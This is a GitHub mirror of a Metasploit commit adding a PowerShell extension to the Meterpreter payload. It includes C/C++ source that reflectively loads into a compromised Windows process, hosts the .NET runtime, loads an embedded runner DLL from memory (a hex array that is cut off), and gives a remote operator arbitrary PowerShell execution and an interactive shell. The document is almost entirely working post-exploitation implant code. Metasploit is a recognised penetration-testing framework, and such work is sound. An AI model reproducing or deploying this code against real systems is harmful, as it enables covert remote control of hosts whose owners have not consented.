mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-15 02:35:54 +01:00
Land #87, initial powershell extension
This commit is contained in:
commit
e460c1d241
0
c/meterpreter/source/extensions/extapi/ntds.c
Normal file → Executable file
0
c/meterpreter/source/extensions/extapi/ntds.c
Normal file → Executable file
71
c/meterpreter/source/extensions/powershell/powershell.c
Executable file
71
c/meterpreter/source/extensions/powershell/powershell.c
Executable file
@ -0,0 +1,71 @@
|
||||
/*!
|
||||
* @file powershell.c
|
||||
* @brief Entry point and intialisation definitions for the Powershell extension
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "powershell_bridge.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
static BOOL gSuccessfullyLoaded = FALSE;
|
||||
|
||||
/*! @brief List of commands that the powershell extension provides. */
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("powershell_execute", request_powershell_execute),
|
||||
COMMAND_REQ("powershell_shell", request_powershell_shell),
|
||||
COMMAND_REQ("powershell_session_remove", request_powershell_session_remove),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
|
||||
DWORD result = initialize_dotnet_host();
|
||||
|
||||
if (result == ERROR_SUCCESS)
|
||||
{
|
||||
command_register_all(customCommands);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
deinitialize_dotnet_host();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "powershell", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
15
c/meterpreter/source/extensions/powershell/powershell.h
Executable file
15
c/meterpreter/source/extensions/powershell/powershell.h
Executable file
@ -0,0 +1,15 @@
|
||||
/*!
|
||||
* @file powershell.h
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_H
|
||||
|
||||
#include "../../common/common.h"
|
||||
|
||||
#define TLV_TYPE_EXTENSION_PSH 0
|
||||
|
||||
#define TLV_TYPE_POWERSHELL_SESSIONID MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PSH, TLV_EXTENSIONS + 1)
|
||||
#define TLV_TYPE_POWERSHELL_CODE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PSH, TLV_EXTENSIONS + 2)
|
||||
#define TLV_TYPE_POWERSHELL_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PSH, TLV_EXTENSIONS + 3)
|
||||
|
||||
#endif
|
549
c/meterpreter/source/extensions/powershell/powershell_bridge.cpp
Executable file
549
c/meterpreter/source/extensions/powershell/powershell_bridge.cpp
Executable file
@ -0,0 +1,549 @@
|
||||
/*!
|
||||
* @file powershell_bridge.c
|
||||
* @brief Wrapper functions for bridging native meterp calls to powershell
|
||||
*/
|
||||
extern "C" {
|
||||
#include "../../common/common.h"
|
||||
#include "powershell.h"
|
||||
#include "powershell_bridge.h"
|
||||
}
|
||||
|
||||
#include <comdef.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
#include "powershell_runner.h"
|
||||
|
||||
typedef struct _InteractiveShell
|
||||
{
|
||||
HANDLE wait_handle;
|
||||
_bstr_t output;
|
||||
wchar_t* session_id;
|
||||
} InteractiveShell;
|
||||
|
||||
#define SAFE_RELEASE(x) if((x) != NULL) { (x)->Release(); x = NULL; }
|
||||
|
||||
#import "mscorlib.tlb" raw_interfaces_only \
|
||||
high_property_prefixes("_get","_put","_putref") \
|
||||
rename("ReportEvent", "InteropServices_ReportEvent")
|
||||
using namespace mscorlib;
|
||||
|
||||
typedef HRESULT(WINAPI* pClrCreateInstance)(REFCLSID, REFIID, LPVOID*);
|
||||
typedef HRESULT(WINAPI* pCorBindToRuntime)(LPCWSTR, LPCWSTR, REFCLSID, REFIID, LPVOID*);
|
||||
|
||||
static ICLRMetaHost* gClrMetaHost = NULL;
|
||||
static ICLRRuntimeInfo* gClrRuntimeInfo = NULL;
|
||||
static ICorRuntimeHost* gClrCorRuntimeHost = NULL;
|
||||
static IUnknownPtr gClrAppDomain = NULL;
|
||||
static _AppDomainPtr gClrAppDomainInterface = NULL;
|
||||
static _AssemblyPtr gClrPowershellAssembly = NULL;
|
||||
static _TypePtr gClrPowershellType = NULL;
|
||||
|
||||
DWORD RemoveSession(wchar_t* sessionId)
|
||||
{
|
||||
HRESULT hr;
|
||||
bstr_t bstrStaticMethodName(L"Remove");
|
||||
SAFEARRAY *psaStaticMethodArgs = NULL;
|
||||
variant_t vtSessionArg(sessionId == NULL ? L"Default" : sessionId);
|
||||
variant_t vtPSInvokeReturnVal;
|
||||
variant_t vtEmpty;
|
||||
LONG index = 0;
|
||||
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
do
|
||||
{
|
||||
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtSessionArg);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] failed to prepare session argument: 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
// Invoke the method from the Type interface.
|
||||
hr = gClrPowershellType->InvokeMember_3(
|
||||
bstrStaticMethodName,
|
||||
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
||||
NULL,
|
||||
vtEmpty,
|
||||
psaStaticMethodArgs,
|
||||
&vtPSInvokeReturnVal);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] failed to invoke powershell function 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
} while (0);
|
||||
|
||||
if (psaStaticMethodArgs != NULL)
|
||||
{
|
||||
SafeArrayDestroy(psaStaticMethodArgs);
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
return (DWORD)hr;
|
||||
}
|
||||
|
||||
DWORD InvokePSCommand(wchar_t* sessionId, wchar_t* command, _bstr_t& output)
|
||||
{
|
||||
HRESULT hr;
|
||||
bstr_t bstrStaticMethodName(L"Execute");
|
||||
SAFEARRAY *psaStaticMethodArgs = NULL;
|
||||
variant_t vtSessionArg(sessionId == NULL ? L"Default" : sessionId);
|
||||
variant_t vtPSInvokeReturnVal;
|
||||
variant_t vtEmpty;
|
||||
variant_t vtCommandArg(command);
|
||||
LONG index = 0;
|
||||
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 2);
|
||||
do
|
||||
{
|
||||
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtSessionArg);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] failed to prepare session argument: 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
index++;
|
||||
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtCommandArg);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] failed to prepare command argument: 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
// Invoke the method from the Type interface.
|
||||
hr = gClrPowershellType->InvokeMember_3(
|
||||
bstrStaticMethodName,
|
||||
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
||||
NULL,
|
||||
vtEmpty,
|
||||
psaStaticMethodArgs,
|
||||
&vtPSInvokeReturnVal);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] failed to invoke powershell function 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
output = vtPSInvokeReturnVal.bstrVal;
|
||||
} while (0);
|
||||
|
||||
if (psaStaticMethodArgs != NULL)
|
||||
{
|
||||
SafeArrayDestroy(psaStaticMethodArgs);
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
return (DWORD)hr;
|
||||
}
|
||||
|
||||
DWORD initialize_dotnet_host()
|
||||
{
|
||||
HRESULT hr = S_OK;
|
||||
ICLRMetaHost* clrMetaHost = NULL;
|
||||
ICLRRuntimeInfo* clrRuntimeInfo = NULL;
|
||||
ICorRuntimeHost* clrCorRuntimeHost = NULL;
|
||||
IUnknownPtr clrAppDomain = NULL;
|
||||
_AppDomainPtr clrAppDomainInterface = NULL;
|
||||
_AssemblyPtr clrPowershellAssembly = NULL;
|
||||
_TypePtr clrPowershellType = NULL;
|
||||
SAFEARRAY* clrByteArray = NULL;
|
||||
HMODULE hMsCoree = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf("[PSH] Locating CLR instance ...");
|
||||
hMsCoree = LoadLibraryA("mscoree.dll");
|
||||
if (hMsCoree == NULL)
|
||||
{
|
||||
hr = (HRESULT)GetLastError();
|
||||
dprintf("[PSH] Failed to load mscoree, .NET probably isn't installed. 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
pClrCreateInstance clrCreateInstance = (pClrCreateInstance)GetProcAddress(hMsCoree, "CLRCreateInstance");
|
||||
if (clrCreateInstance != NULL)
|
||||
{
|
||||
dprintf("[PSH] .NET 4 method in use");
|
||||
|
||||
if (FAILED(hr = clrCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&clrMetaHost))))
|
||||
{
|
||||
dprintf("[PSH] Failed to create instace of the CLR metahost 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Getting a reference to the .NET runtime");
|
||||
if (FAILED(hr = clrMetaHost->GetRuntime(L"v2.0.50727", IID_PPV_ARGS(&clrRuntimeInfo))))
|
||||
{
|
||||
dprintf("[PSH] Failed to get runtime v2.0.50727 instance 0x%x", hr);
|
||||
if (FAILED(hr = clrMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&clrRuntimeInfo))))
|
||||
{
|
||||
dprintf("[PSH] Failed to get runtime v4.0.30319 instance 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[PSH] Determining loadablility");
|
||||
BOOL loadable = FALSE;
|
||||
if (FAILED(hr = clrRuntimeInfo->IsLoadable(&loadable)))
|
||||
{
|
||||
dprintf("[PSH] Unable to determine of runtime is loadable 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!loadable)
|
||||
{
|
||||
dprintf("[PSH] Chosen runtime isn't loadable, exiting.");
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Instantiating the COR runtime host");
|
||||
hr = clrRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(&clrCorRuntimeHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] Unable to get a reference to the COR runtime host 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[PSH] .NET 4 method is missing, attempting to locate .NEt 2 method");
|
||||
pCorBindToRuntime corBindToRuntime = (pCorBindToRuntime)GetProcAddress(hMsCoree, "CorBindToRuntime");
|
||||
if (corBindToRuntime == NULL)
|
||||
{
|
||||
dprintf("[PSH] Unable to find .NET clr instance loader");
|
||||
hr = E_NOTIMPL;
|
||||
break;
|
||||
}
|
||||
|
||||
if (FAILED(hr = corBindToRuntime(L"v2.0.50727", L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(&clrCorRuntimeHost))))
|
||||
{
|
||||
dprintf("[PSH] Unable to bind to .NET 2 runtime host: 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[PSH] Starting the COR runtime host");
|
||||
if (FAILED(hr = clrCorRuntimeHost->Start()))
|
||||
{
|
||||
dprintf("[PSH] Unable to start the COR runtime host 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Getting a ref to the app domain");
|
||||
if (FAILED(hr = clrCorRuntimeHost->GetDefaultDomain(&clrAppDomain)))
|
||||
{
|
||||
dprintf("[PSH] Unable to get the app domain 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Getting a ref to the app domain interface");
|
||||
if (FAILED(hr = clrAppDomain->QueryInterface(IID_PPV_ARGS(&clrAppDomainInterface))))
|
||||
{
|
||||
dprintf("[PSH] Unable to get the app domain interface 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] CLR app domain ready to run, now loading the powershell runner");
|
||||
SAFEARRAYBOUND bounds[1];
|
||||
bounds[0].cElements = PSHRUNNER_DLL_LEN;
|
||||
bounds[0].lLbound = 0;
|
||||
|
||||
clrByteArray = SafeArrayCreate(VT_UI1, 1, bounds);
|
||||
if (clrByteArray == NULL)
|
||||
{
|
||||
dprintf("[PSH] Failed to create a usable safe array");
|
||||
hr = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
if (FAILED(hr = SafeArrayLock(clrByteArray)))
|
||||
{
|
||||
dprintf("[PSH] Safe array lock failed 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
memcpy(clrByteArray->pvData, PowerShellRunnerDll, PSHRUNNER_DLL_LEN);
|
||||
SafeArrayUnlock(clrByteArray);
|
||||
|
||||
if (FAILED(hr = clrAppDomainInterface->Load_3(clrByteArray, &clrPowershellAssembly)))
|
||||
{
|
||||
dprintf("[PSH] Failed to load the powershell runner assembly 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Loading the type from memory");
|
||||
_bstr_t pshClassName("MSF.Powershell.Runner");
|
||||
if (FAILED(hr = clrPowershellAssembly->GetType_2(pshClassName, &clrPowershellType)))
|
||||
{
|
||||
dprintf("[PSH] Unable to locate the powershell class type 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Runtime has been initialized successfully");
|
||||
|
||||
} while(0);
|
||||
|
||||
if (clrByteArray != NULL)
|
||||
{
|
||||
SafeArrayDestroy(clrByteArray);
|
||||
}
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
SAFE_RELEASE(clrPowershellAssembly);
|
||||
SAFE_RELEASE(clrAppDomainInterface);
|
||||
SAFE_RELEASE(clrCorRuntimeHost);
|
||||
SAFE_RELEASE(clrRuntimeInfo);
|
||||
SAFE_RELEASE(clrMetaHost);
|
||||
return (DWORD)hr;
|
||||
}
|
||||
|
||||
gClrMetaHost = clrMetaHost;
|
||||
gClrRuntimeInfo = clrRuntimeInfo;
|
||||
gClrCorRuntimeHost = clrCorRuntimeHost;
|
||||
gClrAppDomainInterface = clrAppDomainInterface;
|
||||
gClrAppDomain = clrAppDomain;
|
||||
gClrPowershellAssembly = clrPowershellAssembly;
|
||||
gClrPowershellType = clrPowershellType;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
VOID deinitialize_dotnet_host()
|
||||
{
|
||||
dprintf("[PSH] Cleaning up the .NET/PSH runtime.");
|
||||
SAFE_RELEASE(gClrPowershellType);
|
||||
SAFE_RELEASE(gClrPowershellAssembly);
|
||||
SAFE_RELEASE(gClrAppDomainInterface);
|
||||
SAFE_RELEASE(gClrCorRuntimeHost);
|
||||
SAFE_RELEASE(gClrRuntimeInfo);
|
||||
SAFE_RELEASE(gClrMetaHost);
|
||||
}
|
||||
|
||||
DWORD powershell_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOID threadContext)
|
||||
{
|
||||
Channel *channel = (Channel*)entryContext;
|
||||
InteractiveShell* shell = (InteractiveShell*)threadContext;
|
||||
DWORD byteCount = shell->output.length() + 1;
|
||||
|
||||
if (shell->output.length() > 1 && shell->wait_handle != NULL)
|
||||
{
|
||||
DWORD result = channel_write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL);
|
||||
shell->output = "";
|
||||
ResetEvent(shell->wait_handle);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD powershell_channel_interact_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext)
|
||||
{
|
||||
dprintf("[PSH SHELL] finalising interaction");
|
||||
InteractiveShell* shell = (InteractiveShell*)threadContext;
|
||||
if (shell->wait_handle)
|
||||
{
|
||||
HANDLE h = shell->wait_handle;
|
||||
shell->wait_handle = NULL;
|
||||
CloseHandle(h);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
InteractiveShell* shell = (InteractiveShell*)context;
|
||||
if (interact)
|
||||
{
|
||||
if (shell->wait_handle == NULL)
|
||||
{
|
||||
dprintf("[PSH SHELL] beginning interaction");
|
||||
shell->wait_handle = CreateEventA(NULL, FALSE, FALSE, NULL);
|
||||
|
||||
result = scheduler_insert_waitable(shell->wait_handle, channel, context,
|
||||
powershell_channel_interact_notify, powershell_channel_interact_destroy);
|
||||
|
||||
SetEvent(shell->wait_handle);
|
||||
}
|
||||
}
|
||||
else if (shell->wait_handle != NULL)
|
||||
{
|
||||
dprintf("[PSH SHELL] stopping interaction");
|
||||
result = scheduler_signal_waitable(shell->wait_handle, Stop);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD powershell_channel_write(Channel* channel, Packet* request, LPVOID context,
|
||||
LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
|
||||
{
|
||||
InteractiveShell* shell = (InteractiveShell*)context;
|
||||
|
||||
_bstr_t codeMarshall((char*)buffer);
|
||||
dprintf("[PSH SHELL] executing command: %s", (char*)codeMarshall);
|
||||
|
||||
_bstr_t output;
|
||||
|
||||
DWORD result = InvokePSCommand(shell->session_id, codeMarshall, output);
|
||||
if (result == ERROR_SUCCESS && shell->wait_handle)
|
||||
{
|
||||
shell->output += output + "PS > ";
|
||||
SetEvent(shell->wait_handle);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD powershell_channel_close(Channel* channel, Packet* request, LPVOID context)
|
||||
{
|
||||
dprintf("[PSH SHELL] closing channel");
|
||||
InteractiveShell* shell = (InteractiveShell*)context;
|
||||
|
||||
if (shell != NULL)
|
||||
{
|
||||
if (shell->wait_handle != NULL)
|
||||
{
|
||||
HANDLE h = shell->wait_handle;
|
||||
shell->wait_handle = NULL;
|
||||
CloseHandle(h);
|
||||
}
|
||||
|
||||
SAFE_FREE(shell->session_id);
|
||||
SAFE_FREE(shell);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Start an interactive powershell session.
|
||||
* @param remote Pointer to the \c Remote making the request.
|
||||
* @param packet Pointer to the request \c Packet.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
InteractiveShell* shell = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
do
|
||||
{
|
||||
PoolChannelOps chanOps = { 0 };
|
||||
shell = (InteractiveShell*)calloc(1, sizeof(InteractiveShell));
|
||||
|
||||
if (shell == NULL)
|
||||
{
|
||||
dprintf("[PSH] Failed to allocated memory");
|
||||
dwResult = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
}
|
||||
shell->session_id = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
if (shell->session_id != NULL)
|
||||
{
|
||||
dprintf("[PSH] Session ID set to %S", shell->session_id);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[PSH] Session ID not set");
|
||||
}
|
||||
|
||||
chanOps.native.context = shell;
|
||||
chanOps.native.close = powershell_channel_close;
|
||||
chanOps.native.write = powershell_channel_write;
|
||||
chanOps.native.interact = powershell_channel_interact;
|
||||
shell->output = "PS > ";
|
||||
Channel* newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps);
|
||||
|
||||
channel_set_type(newChannel, "psh");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
{
|
||||
SAFE_FREE(shell);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Handle the request for powershell execution.
|
||||
* @param remote Pointer to the \c Remote making the request.
|
||||
* @param packet Pointer to the request \c Packet.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
|
||||
if (code != NULL)
|
||||
{
|
||||
_bstr_t codeMarshall(code);
|
||||
_bstr_t output;
|
||||
|
||||
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
dwResult = InvokePSCommand(sessionId, codeMarshall, output);
|
||||
if (dwResult == ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[PSH] Code parameter missing from call");
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Handle the removal of a session from the interpreter.
|
||||
* @param remote Pointer to the \c Remote making the request.
|
||||
* @param packet Pointer to the request \c Packet.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD request_powershell_session_remove(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
dwResult = RemoveSession(sessionId);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
|
||||
return dwResult;
|
||||
}
|
15
c/meterpreter/source/extensions/powershell/powershell_bridge.h
Executable file
15
c/meterpreter/source/extensions/powershell/powershell_bridge.h
Executable file
@ -0,0 +1,15 @@
|
||||
/*!
|
||||
* @file powershell_bridge.h
|
||||
* @brief Declarations for powershell request handlers (bridged into managed C++)
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_BRIDGE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_BRIDGE_H
|
||||
|
||||
DWORD initialize_dotnet_host();
|
||||
VOID deinitialize_dotnet_host();
|
||||
DWORD request_powershell_execute(Remote *remote, Packet *packet);
|
||||
DWORD request_powershell_shell(Remote *remote, Packet *packet);
|
||||
DWORD request_powershell_session_remove(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
||||
|
867
c/meterpreter/source/extensions/powershell/powershell_runner.cpp
Normal file
867
c/meterpreter/source/extensions/powershell/powershell_runner.cpp
Normal file
@ -0,0 +1,867 @@
|
||||
/*!
|
||||
* @file powershell_runner.cpp
|
||||
* @brief This file is generated, do not modify directly.
|
||||
*/
|
||||
|
||||
#include "powershell_runner.h"
|
||||
|
||||
#pragma message("Compiling PowerShellRunner into app. Size: 10240")
|
||||
|
||||
unsigned char PowerShellRunnerDll[PSHRUNNER_DLL_LEN] =
|
||||
{
|
||||
0x4d, 0x5a, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
|
||||
0xff, 0xff, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x80, 0x00, 0x00, 0x00, 0x0e, 0x1f, 0xba, 0x0e, 0x00, 0xb4, 0x09, 0xcd,
|
||||
0x21, 0xb8, 0x01, 0x4c, 0xcd, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70,
|
||||
0x72, 0x6f, 0x67, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f,
|
||||
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20,
|
||||
0x44, 0x4f, 0x53, 0x20, 0x6d, 0x6f, 0x64, 0x65, 0x2e, 0x0d, 0x0d, 0x0a,
|
||||
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00,
|
||||
0x4c, 0x01, 0x03, 0x00, 0x0d, 0xb7, 0xf0, 0x56, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x02, 0x21, 0x0b, 0x01, 0x0b, 0x00,
|
||||
0x00, 0x20, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xce, 0x3e, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
|
||||
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x85, 0x00, 0x00, 0x10, 0x00,
|
||||
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x80, 0x3e, 0x00, 0x00, 0x4b, 0x00, 0x00, 0x00,
|
||||
0x00, 0x40, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x60, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x48, 0x3d, 0x00, 0x00,
|
||||
0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
|
||||
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x08, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
|
||||
